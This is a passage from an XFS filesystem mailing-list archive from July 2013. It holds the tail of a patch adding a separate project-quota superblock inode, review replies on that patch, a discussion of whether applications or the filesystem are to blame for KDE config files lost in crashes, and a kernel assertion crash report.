XFS_ALL_QUOTA_ACCT; } if (flags & XFS_QMOPT_UQUOTA) mp->m_sb.sb_uquotino = (*ip)->i_ino; - else + else if (flags & XFS_QMOPT_GQUOTA) mp->m_sb.sb_gquotino = (*ip)->i_ino; + else + mp->m_sb.sb_pquotino = (*ip)->i_ino; spin_unlock(&mp->m_sb_lock); xfs_mod_sb(tp, sbfields); @@ -1484,11 +1521,10 @@ xfs_qm_init_quotainos( if (error) goto error_rele; } - /* XXX: Use gquotino for now */ if (XFS_IS_PQUOTA_ON(mp) && - mp->m_sb.sb_gquotino != NULLFSINO) { - ASSERT(mp->m_sb.sb_gquotino > 0); - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, + mp->m_sb.sb_pquotino != NULLFSINO) { + ASSERT(mp->m_sb.sb_pquotino > 0); + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, 0, 0, &pip); if (error) goto error_rele; @@ -1496,7 +1532,8 @@ xfs_qm_init_quotainos( } else { flags |= XFS_QMOPT_SBVERSION; sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | + XFS_SB_QFLAGS); } /* @@ -1524,9 +1561,8 @@ xfs_qm_init_quotainos( flags &= ~XFS_QMOPT_SBVERSION; } if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { - /* XXX: Use XFS_SB_GQUOTINO for now */ error = xfs_qm_qino_alloc(mp, &pip, - sbflags | XFS_SB_GQUOTINO, + sbflags | XFS_SB_PQUOTINO, flags | XFS_QMOPT_PQUOTA); if (error) goto error_rele; diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index e4f8b2d..8f4b8bc 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( if (flags & XFS_DQ_USER) error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) + if (flags & XFS_DQ_GROUP) error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); + if (flags & XFS_DQ_PROJ) + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); return error ? error : error2; } @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( struct xfs_quotainfo *q = mp->m_quotainfo; struct xfs_inode *uip = NULL; struct xfs_inode *gip = NULL; + struct xfs_inode *pip = NULL; bool tempuqip = false; bool tempgqip = false; + bool temppqip = false; memset(out, 0, sizeof(fs_quota_stat_t)); @@ -424,6 +428,12 @@ xfs_qm_scall_getqstat( out->qs_gquota.qfs_ino = NULLFSINO; return (0); } + + /* Q_XGETQSTAT doesn't have room for both group and project quotas */ + if ((mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) == + (XFS_PQUOTA_ACCT | XFS_GQUOTA_ACCT)) + return -EINVAL; + out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & (XFS_ALL_QUOTA_ACCT| XFS_ALL_QUOTA_ENFD)); @@ -434,6 +444,7 @@ xfs_qm_scall_getqstat( if (q) { uip = q->qi_uquotaip; gip = q->qi_gquotaip; + pip = q->qi_pquotaip; } if (!uip && mp->m_sb.sb_uquotino != NULLFSINO) { if (xfs_iget(mp, NULL, mp->m_sb.sb_uquotino, @@ -445,18 +456,35 @@ xfs_qm_scall_getqstat( 0, 0, &gip) == 0) tempgqip = true; } + if (!pip && mp->m_sb.sb_pquotino != NULLFSINO) { + if (xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, + 0, 0, &pip) == 0) + temppqip = true; + } if (uip) { out->qs_uquota.qfs_nblks = uip->i_d.di_nblocks; out->qs_uquota.qfs_nextents = uip->i_d.di_nextents; if (tempuqip) IRELE(uip); } + + /* + * Since we already checked that group and project quotas + * are not being used, using out->qs_gquota in both the + * blocks below is fine. + */ if (gip) { out->qs_gquota.qfs_nblks = gip->i_d.di_nblocks; out->qs_gquota.qfs_nextents = gip->i_d.di_nextents; if (tempgqip) IRELE(gip); } + if (pip) { + out->qs_gquota.qfs_nblks = pip->i_d.di_nblocks; + out->qs_gquota.qfs_nextents = pip->i_d.di_nextents; + if (temppqip) + IRELE(pip); + } if (q) { out->qs_incoredqs = q->qi_dquots; out->qs_btimelimit = q->qi_btimelimit; diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 78f9e70..a6ff9d6 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -618,16 +618,23 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } -static inline bool -xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } /* * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || + ino == sbp->sb_gquotino || + ino == sbp->sb_pquotino); +} + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1d68ffc..525524e 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -421,12 +421,6 @@ xfs_parseargs( } #endif - if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && - (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE))) { - xfs_warn(mp, "cannot mount with both project and group quota"); - return EINVAL; - } - if ((dsunit && !dswidth) || (!dsunit && dswidth)) { xfs_warn(mp, "sunit and swidth must be specified together"); return EINVAL; @@ -556,14 +550,13 @@ xfs_showargs( else if (mp->m_qflags & XFS_UQUOTA_ACCT) seq_puts(m, "," MNTOPT_UQUOTANOENF); - /* Either project or group quotas can be active, not both */ - if (mp->m_qflags & XFS_PQUOTA_ACCT) { if (mp->m_qflags & XFS_PQUOTA_ENFD) seq_puts(m, "," MNTOPT_PRJQUOTA); else seq_puts(m, "," MNTOPT_PQUOTANOENF); - } else if (mp->m_qflags & XFS_GQUOTA_ACCT) { + } + if (mp->m_qflags & XFS_GQUOTA_ACCT) { if (mp->m_qflags & XFS_GQUOTA_ENFD) seq_puts(m, "," MNTOPT_GRPQUOTA); else @@ -1396,6 +1389,14 @@ xfs_finish_flags( return XFS_ERROR(EROFS); } + if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && + (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE)) && + !xfs_sb_version_has_pquotino(&mp->m_sb)) { + xfs_warn(mp, + "Super block does not support project and group quota together"); + return XFS_ERROR(EINVAL); + } + return 0; } -- 1.7.1 From bpm@sgi.com Thu Jul 11 21:17:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 394F07F37 for ; Thu, 11 Jul 2013 21:17:38 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id C27A7AC001; Thu, 11 Jul 2013 19:17:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 550F7500B4B; Thu, 11 Jul 2013 21:17:34 -0500 (CDT) Date: Thu, 11 Jul 2013 21:17:34 -0500 From: Ben Myers To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Message-ID: <20130712021734.GA32736@sgi.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> <20130711211610.GC20932@sgi.com> <1373591398.20769.9.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373591398.20769.9.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Chandra, On Thu, Jul 11, 2013 at 08:09:58PM -0500, Chandra Seetharaman wrote: > On Thu, 2013-07-11 at 16:16 -0500, Ben Myers wrote: > > Hey Chandra, > > > > On Thu, Jul 11, 2013 at 12:00:41AM -0500, Chandra Seetharaman wrote: > > > Start using pquotino and define a macro to check if the > > > superblock has pquotino. > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > with no separate pquota inode. > > > > > > Signed-off-by: Chandra Seetharaman > > > > Here are a few notes from my review. > > > > > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > > > + xfs_notice(mp, > > > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > > > + return XFS_ERROR(EFSCORRUPTED); > > > + } > > > > If I'm reading that right... Now if you had a v5 super block with oquota > > bits it will become unmountable. Could that happen if you were using > > crcs and quotas with a 3.10 kernel and then upgrade? > > yes. My thinking is that v5 (with crc) is still experimental and not > supported yet. Not true ? Right. v5 superblock is still experimental. > Previously this was being fixed without failing. But, Dave suggested > that this certainly would be an inconsistent state and hence need to be > failed. I agreed and changed the code. Sounds fine. I just wanted to make sure we're all aware of this possibility. > The problem you stated can be fixed by adding functionality to > xfs_repair. Maybe a workaround for those users would be to shut of quotas before upgrading, and then turn them back on after? > > > > > xfs_sb_version_addquota(&mp->m_sb); > > > mp->m_sb.sb_uquotino = NULLFSINO; > > > mp->m_sb.sb_gquotino = NULLFSINO; > > > + mp->m_sb.sb_pquotino = NULLFSINO; > > > > > > - /* qflags will get updated _after_ quotacheck */ > > > - mp->m_sb.sb_qflags = 0; > > > + /* qflags will get updated fully _after_ quotacheck */ > > > + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; > > > > I didn't quite catch why you changed from 0 to ALL_QUOTA_ACCT here, will > > take another look. > > We wanted to move all (well, almost all :) the logic of managing > PQUOTINO/GQUOTINO in older superblock in just the two functions > xfs_sb_quota_to/from_disk(). In order to do that I had to use sb_qflags > (you can see that in xfs_sb_quota_to_disk()). So, we have to have > sb_qflags valid before we try to write these fields to the disk. Hence > this change. Oh, that explains it. Thanks. -Ben From david@fromorbit.com Thu Jul 11 21:17:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4BFC77F51 for ; Thu, 11 Jul 2013 21:17:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 228D4304039 for ; Thu, 11 Jul 2013 19:17:48 -0700 (PDT) X-ASG-Debug-ID: 1373595465-04cbb0468ee2c630001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id huBUEcv3An8dXS2E for ; Thu, 11 Jul 2013 19:17:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al4oADtm31F5LK/r/2dsb2JhbABagwY0gmxpqlMCjlKFJAQBgQYXdIIjAQEFIw8BIyMQCAMYAgIFIQICDwUlAyETiA4NpVORQxaBEIxwLgaBFweCVjNsA5dbkU+DIyo Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Jul 2013 11:47:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxSvR-0003AL-Uu; Fri, 12 Jul 2013 12:17:37 +1000 Date: Fri, 12 Jul 2013 12:17:37 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130712021737.GA5228@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130711090755.GA363@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373595466 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136505 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > >> bisection. First my window-rules disappeared, then my desktop background > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > >> In the end I had to restore all my .files from backup. > > > > > > That's not filesystem corruption. That sounds more like someone not > > > using fsync in the apropriate place when overwriting a file.... > > > > From Sandeen's blog, March 2009: > > > > "I dunno how to resolve this right now. I talked to some nice KDE folks > > on irc; they basically want atomic writes, either you get your old file > > or your new file post-crash; and tempfile/sync/rename does this – but > > the fsync hurts on 78% of the Linux filesystems out there. So their > > KSaveFile class doesn’t fsync. So what to do, what to do.." > > > > That's 4 years ago. Is it possible the KDE devs are still not using > > fsync? Sure seems likely given Markus' problem. > > Looking at the source: > http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > it appears that one can set an environment variable KDE_EXTRA_FSYNC to > address this issue. > > However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > loose my KDE settings in case of a crash. So the whole fsync thing might > be a red herring. > > What's more this time I endend up with undeletable files in /tmp (for > example .X0-lock) after the crash: > > (/dev/sdb was mounted and unmounted normally before I ran xfs_repair) > > t@ubunt:~# xfs_repair /dev/sdb > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > - found root inode chunk Again, these are signs that log recovery has not completed successfully or that for some reason it thought the log was clean. Can you please post the dmesg output after the crash when you go through the mount/unmount process before you run xfs_repair? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 11 21:38:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5CB5A7F37 for ; Thu, 11 Jul 2013 21:38:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4AB0D8F8035 for ; Thu, 11 Jul 2013 19:38:17 -0700 (PDT) X-ASG-Debug-ID: 1373596694-04cbb0468fe2df80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id mnUDnmeZyJSGr9ox for ; Thu, 11 Jul 2013 19:38:15 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlMoAKxq31F5LK/r/2dsb2JhbABagwY0gmyrNQKOUoUkBAGBBhd0giMBAQU6HCMQCAMYCSUPBSUDIROIDg23DBaOLoEdB4MJbAOXW5FPgyMq Received: from ppp121-44-175-235.lns20.syd7.internode.on.net (HELO dastard) ([121.44.175.235]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Jul 2013 12:08:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxTFM-0003CQ-BA; Fri, 12 Jul 2013 12:38:12 +1000 Date: Fri, 12 Jul 2013 12:38:12 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130712023812.GB5228@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130711112826.GA363@x4> <51DF1463.1070603@hardwarefreak.com> <20130711204033.GA355@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130711204033.GA355@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373596694 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 10:40:33PM +0200, Markus Trippelsdorf wrote: > On 2013.07.11 at 15:24 -0500, Stan Hoeppner wrote: > > On 7/11/2013 6:28 AM, Markus Trippelsdorf wrote: > > ... > > >> Looking at the source: > > >> http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > > >> it appears that one can set an environment variable KDE_EXTRA_FSYNC to > > >> address this issue. > > >> > > >> However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > > >> loose my KDE settings in case of a crash. So the whole fsync thing might > > >> be a red herring. > > > > > > It turned out that the KDE_EXTRA_FSYNC variable doesn't affect KDE > > > config file handling at all. > > > So I've added an fsync in kconfigini.cpp (KConfigIniBackend::writeConfig) > > > and now I don't loose my settings anymore during kernel crash testing. > > > > > > That is until xfs eats my KDE config files (kwinrulesr in this case): > > > > Adding fsync in kconfigini.cpp apparently doesn't force fsync for all > > KDE file operations. You also have some Open Office files getting hosed > > due to lack of fsync. XFS is not the cause of these problems. > > > > The problem is that all of this desktop code was developed atop EXT3 > > which flushed to disk every 5 seconds. This made programmers sloppy as > > they didn't have to fsync to make sure data hit disk. This problem has > > been covered extensively by many, including Eric in other posts on his > > blog. There's a really simple way to test this: mount with sync. > > Report results after the next crash. If no files are corrupted then > > you've verified the problem lay squarely on the shoulders of these > > desktop developers who have abdicated their responsibility to make sure > > their file changes hit the disk, instead of relying on a broken > > filesystem do it for them. > > > > Worth noting, using EXT4 without the EXT3 flush emulation enabled will > > yield similar file corruption upon a crash. > > I'm not so sure. Of course a journaled filesystem is not a database > replacement, but wouldn't it be easier to address this issue in xfs > directly instead of hoping in vain that application developers will > fix their code someday? The problem is that there is a small minority of vocal users who complain loudly and vigorously that something is slow when application developers use proper caution and ensure files are safely written using fsync. Those users yell and scream that they care more about speed than they do about losing their config settings on a crash, and demand the problem be fixed. Hence we end up with special environment variables that nobody knows about that try to provide some measure of data integrity. As you've found out, it's not sufficient. It's not up to the filesystem to enforce a "you must do everything safely" policy. The filesystem provides mechanisms for users and developers to decide if they want to be fast or safe. Unfortunately for us, while XFS is pretty fast even when running in "safe" mode, other filesystems aren't, and that's where the problem lies. If you want everything to be safe, mount the filesystem with -o sync. But it will be slow. The only way to be fast and safe is for applications to Do The Right Thing - no hacks in the filesystem can provide both fast and safe with compromising either fast or safe in some manner for someone. It's unfortunate that after several years of educating people to use fsync when data integrity is important that we are seeing a significant back-slide to trying to avoid fsync again. it appeared recently on the ext4 list, when a gnome developer said they turned off fsync because users were complaining, trying to rely on a side effect of ext4 data=ordered mode for integrity and they failed and users started reporting that they were losing files on crashes.... This is an application layer problem, not a filesystem layer problem. The filesystems can provide mechanisms to try to help minimise the impact of requiring data integrity operations, but we haven't been able to get any significant set of userspace developers to agree on a sane set of functionality that filesystems can provide over and above what POSIX already gives them. And besides, a filesystem can't fix the problems of applications that use fsync to write inconsequential data that doesn't need persistence across crashs. Thats clearly an application problem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Thu Jul 11 21:39:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 51BE67F37 for ; Thu, 11 Jul 2013 21:39:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C50D30404E for ; Thu, 11 Jul 2013 19:39:40 -0700 (PDT) X-ASG-Debug-ID: 1373596779-04cbb0468fe2e180001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id z4K6TouYFpkpw3O0 for ; Thu, 11 Jul 2013 19:39:39 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6C2dcIt024065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Jul 2013 22:39:39 -0400 Received: from gelk.kernelslacker.org (ovpn-113-101.phx2.redhat.com [10.3.113.101]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6C2dWKa003751 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 11 Jul 2013 22:39:38 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6C2dVuS008487; Thu, 11 Jul 2013 22:39:31 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6C2dVoZ008486; Thu, 11 Jul 2013 22:39:31 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Thu, 11 Jul 2013 22:39:30 -0400 From: Dave Jones To: Linux Kernel Cc: xfs@oss.sgi.com Subject: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130712023930.GA6473@redhat.com> X-ASG-Orig-Subj: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Mail-Followup-To: Dave Jones , Linux Kernel , xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373596779 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Just saw this during boot after an unclean shutdown. It hung afterwards. [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 [ 97.164646] ------------[ cut here ]------------ [ 97.165312] kernel BUG at fs/xfs/xfs_message.c:108! [ 97.165986] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC [ 97.166947] Modules linked in: snd_hda_codec_realtek pcspkr usb_debug snd_hda_intel snd_hda_codec snd_hwdep snd_seq snd_seq_device snd_pcm e1000e ptp snd_page_alloc pps_core snd_timer snd soundcore xfs libcrc32c [ 97.170782] CPU: 3 PID: 341 Comm: rpcbind Not tainted 3.10.0+ #49 [ 97.173684] task: ffff880235d14a40 ti: ffff880235dae000 task.ti: ffff880235dae000 [ 97.173701] RIP: 0010:[] [] assfail+0x22/0x30 [xfs] [ 97.173702] RSP: 0018:ffff880235dafa98 EFLAGS: 00010296 [ 97.173703] RAX: 0000000000000060 RBX: ffff880235dafb20 RCX: 0000000000000006 [ 97.173703] RDX: 00000000000031e0 RSI: ffff880235d152a0 RDI: ffff880235d14a40 [ 97.173704] RBP: ffff880235dafa98 R08: 0000000000000002 R09: 0000000000000000 [ 97.173704] R10: 0000000000000001 R11: 0000000000000001 R12: ffff880235e54000 [ 97.173705] R13: 0000000000035e92 R14: ffff880235dafc88 R15: ffff880235dafc28 [ 97.173706] FS: 00007fa6aac79840(0000) GS:ffff880244e00000(0000) knlGS:0000000000000000 [ 97.173706] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 97.173707] CR2: 00007fffb1905f18 CR3: 0000000235ce5000 CR4: 00000000001407e0 [ 97.173707] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 97.173708] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 97.173708] Stack: [ 97.173712] ffff880235dafb00 ffffffffa0076953 ffffe8ffffc066a0 ffff880240e04ca8 [ 97.173713] 0000000000000250 0000000000000020 ffff88023d05af40 ffff880235dafb20 [ 97.173715] ffff880235a14a40 ffff880235e54000 0000000000035e92 ffff880235dafc88 [ 97.173715] Call Trace: [ 97.173730] [] xfs_dir2_sf_addname+0x43/0x760 [xfs] [ 97.173743] [] xfs_dir_createname+0x15c/0x1b0 [xfs] [ 97.173754] [] xfs_create+0x4cc/0x710 [xfs] [ 97.173764] [] xfs_vn_mknod+0x9a/0x1c0 [xfs] [ 97.173773] [] xfs_vn_create+0x13/0x20 [xfs] [ 97.173776] [] vfs_create+0x9d/0x100 [ 97.173778] [] do_last+0x925/0xe00 [ 97.173780] [] path_openat+0xbe/0x6f0 [ 97.173783] [] ? local_clock+0x3f/0x50 [ 97.173785] [] ? __alloc_fd+0xaf/0x200 [ 97.173787] [] do_filp_open+0x3a/0x90 [ 97.173789] [] ? __alloc_fd+0xaf/0x200 [ 97.173790] [] do_sys_open+0x10b/0x200 [ 97.173792] [] ? syscall_trace_enter+0x18/0x290 [ 97.173794] [] SyS_open+0x1e/0x20 [ 97.173796] [] tracesys+0xdd/0xe2 [ 97.173813] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 f1 41 89 d0 48 89 e5 48 89 fa 48 c7 c6 a8 98 0b a0 31 ff 31 c0 e8 ce fb ff ff <0f> 0b 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 This trace repeated a few times, then the same assertion was triggered from sys_renameat. Dave From sfr@canb.auug.org.au Thu Jul 11 22:16:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A6C77F51 for ; Thu, 11 Jul 2013 22:16:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EC589304032 for ; Thu, 11 Jul 2013 20:16:01 -0700 (PDT) X-ASG-Debug-ID: 